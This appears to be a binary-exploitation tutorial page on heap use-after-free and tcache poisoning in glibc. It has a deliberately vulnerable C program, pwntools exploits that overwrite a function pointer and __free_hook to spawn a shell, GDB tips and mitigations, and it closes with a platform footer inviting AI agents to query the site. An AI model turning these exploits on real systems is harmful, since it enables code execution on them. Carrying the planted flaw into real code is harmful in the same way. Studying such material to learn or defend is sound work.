> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/18.-use-after-free.md).

# 0x17 — Use-After-Free (UAF) Vulnerability — Tcache

## Overview

A **Use-After-Free (UAF)** vulnerability occurs when a program continues to use a pointer to a heap chunk **after that chunk has been freed**. Since freed chunks are managed by the allocator (placed in tcache/fastbins), an attacker who can write to a freed chunk can corrupt the allocator's internal data structures.

The classic UAF attack in modern glibc: corrupt the `fd` pointer of a freed tcache chunk → next `malloc` returns an attacker-controlled address → arbitrary write.

***

## How UAF Works with Tcache

When a chunk is freed into the tcache, glibc stores a **forward pointer** (`fd`) at the start of the user data:

```
Before free:
+----------+----------+--------------------+
| prev_size|   size   |   user data...     |
+----------+----------+--------------------+
                       ^ ptr

After free (chunk in tcache):
+----------+----------+--------------------+
| prev_size|   size   | fd | key | ...     |
+----------+----------+--------------------+
                       ^ same ptr (now freed)
                         fd → next chunk in tcache bin (or 0 if head)
```

If you write to `ptr` after it's been freed, you overwrite `fd` — the next chunk pointer in the tcache list.

***

## Exploitation Steps

1. **Allocate** a chunk: `a = malloc(size)`
2. **Free** it: `free(a)` — now `a` is in tcache
3. **Write** to `a` (UAF): set `a->fd = target_address`
4. **Malloc twice**: first returns `a`, second returns `target_address`
5. **Write** to `target_address` via the second malloc

***

## Vulnerable Program (`vuln.c`)

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    char name[32];
    void (*print)(char *);   // function pointer!
} Object;

void normal_print(char *s) {
    printf("Name: %s\n", s);
}

void win() {
    system("/bin/sh");
}

Object *obj;

int main() {
    int choice;
    char buf[32];

    obj = malloc(sizeof(Object));
    obj->print = normal_print;

    while(1) {
        printf("1. Set name\n2. Print\n3. Delete\n> ");
        scanf("%d", &choice);

        if (choice == 1) {
            printf("Name: ");
            scanf("%31s", obj->name);   // ← may access freed chunk
        } else if (choice == 2) {
            obj->print(obj->name);     // ← calls function pointer
        } else if (choice == 3) {
            free(obj);                  // ← freed, but obj pointer not NULLed
            printf("Deleted.\n");
        }
    }
    return 0;
}
```

```bash
gcc -o vuln vuln.c -no-pie -fno-stack-protector
```

### Attack Path

1. Delete (free) `obj`
2. Use "Set name" to write into the freed chunk
3. Overwrite `obj->print` (function pointer at offset 32) with `win()`
4. Call "Print" → `obj->print(obj->name)` → `win()` → shell

```python
from pwn import *

elf = ELF('./vuln')
p   = process('./vuln')

win_addr = elf.sym['win']

# Step 1: Delete the object
p.sendlineafter(b'> ', b'3')

# Step 2: Write to freed chunk via UAF
# obj->print is at offset 32 within the struct
# pad with 32 bytes, then write win() address
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Name: ', b'A' * 32 + p64(win_addr))

# Step 3: Trigger the function pointer
p.sendlineafter(b'> ', b'2')

p.interactive()
```

***

## Classic UAF: Tcache Poisoning

More advanced: overwrite `fd` in a freed tcache chunk to get malloc to return an arbitrary address.

```c
#include <stdio.h>
#include <stdlib.h>

int main() {
    long target = 0;
    printf("Target address: %p\n", &target);

    long *a = malloc(0x28);
    long *b = malloc(0x28);

    free(a);
    free(b);
    // tcache bin: b → a → NULL

    // UAF: write into freed chunk b to overwrite its fd
    *b = (long)&target;    // ← Use After Free! b->fd = &target
    // tcache bin: b → &target → ???

    long *c = malloc(0x28);   // returns b
    long *d = malloc(0x28);   // returns &target  ← arbitrary address!

    *d = 0xdeadbeef;          // write to target!
    printf("Target value: %lx\n", target);   // 0xdeadbeef

    return 0;
}
```

```bash
gcc -o demo demo.c -no-pie -fno-stack-protector
./demo
# Target value: deadbeef
```

***

## Full CTF-Style Exploit (Tcache UAF → Arbitrary Write → GOT Overwrite)

```python
from pwn import *

elf  = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p    = process('./vuln')

# Assume the program has:
# alloc(size, data) — malloc and fill
# free(idx)         — free a chunk
# write(idx, data)  — write to chunk (even if freed = UAF)
# read(idx)         — read from chunk

CHUNK_SIZE = 0x30

# Step 1: Allocate two chunks
alloc(CHUNK_SIZE, b'AAAA')   # chunk 0
alloc(CHUNK_SIZE, b'BBBB')   # chunk 1

# Step 2: Free chunk 0 → goes to tcache
free(0)
# tcache: [0] → NULL

# Step 3: UAF write to chunk 0 — overwrite fd with target address
# Target: __free_hook in libc (glibc < 2.34) or any writable function pointer
free_hook = libc.sym['__free_hook']  # or compute after leak
write(0, p64(free_hook))
# tcache: [0] → __free_hook → ???

# Step 4: Allocate twice to get pointer to __free_hook
alloc(CHUNK_SIZE, b'/bin/sh\x00')   # chunk 2 = old chunk 0
alloc(CHUNK_SIZE, p64(libc.sym['system']))  # chunk 3 = __free_hook!
# Now __free_hook = system

# Step 5: free a chunk containing "/bin/sh" → free_hook(ptr) = system("/bin/sh")
free(2)   # free("/bin/sh") → system("/bin/sh") → shell!

p.interactive()
```

***

## Safe vs Exploitable UAF (glibc versions)

| glibc version | Tcache protection         | UAF exploitability             |
| ------------- | ------------------------- | ------------------------------ |
| < 2.26        | No tcache                 | Use fastbins                   |
| 2.26 - 2.28   | Tcache, no key check      | Direct fd overwrite easy       |
| 2.29 - 2.31   | Tcache key added          | Key must be preserved/bypassed |
| ≥ 2.32        | Tcache safe-linking (XOR) | Must know heap address         |

### Safe-linking (glibc ≥ 2.32)

```c
// fd stored as: (ptr >> 12) XOR next_chunk_addr
// To forge: fd_mangled = (heap_base >> 12) ^ target_addr
```

***

## Detecting UAF in GDB

```bash
gdb ./vuln
> heap     # check chunk state
> bins     # see what's in tcache
# After free:
> x/4gx freed_ptr   # examine freed chunk (should see fd and key)
```

***

## Key Takeaways

* UAF = using a pointer after `free()` — dangerous because freed chunks hold allocator metadata
* In tcache, the freed chunk's `fd` pointer can be overwritten via UAF
* After `fd` corruption, two mallocs: first returns the freed chunk, second returns `fd` (arbitrary address)
* Classic targets: GOT entries (partial RELRO), `__free_hook`/`__malloc_hook` (pre-glibc 2.34), function pointers
* Modern glibc adds safe-linking (XOR encryption of fd) — requires a heap address leak to exploit

***

## Mitigation

* Always NULL the pointer after `free()`: `free(ptr); ptr = NULL;`
* Use memory-safe languages (Rust, Go)
* Enable heap hardening: AddressSanitizer (`-fsanitize=address`), libhardened\_malloc


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/18.-use-after-free.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
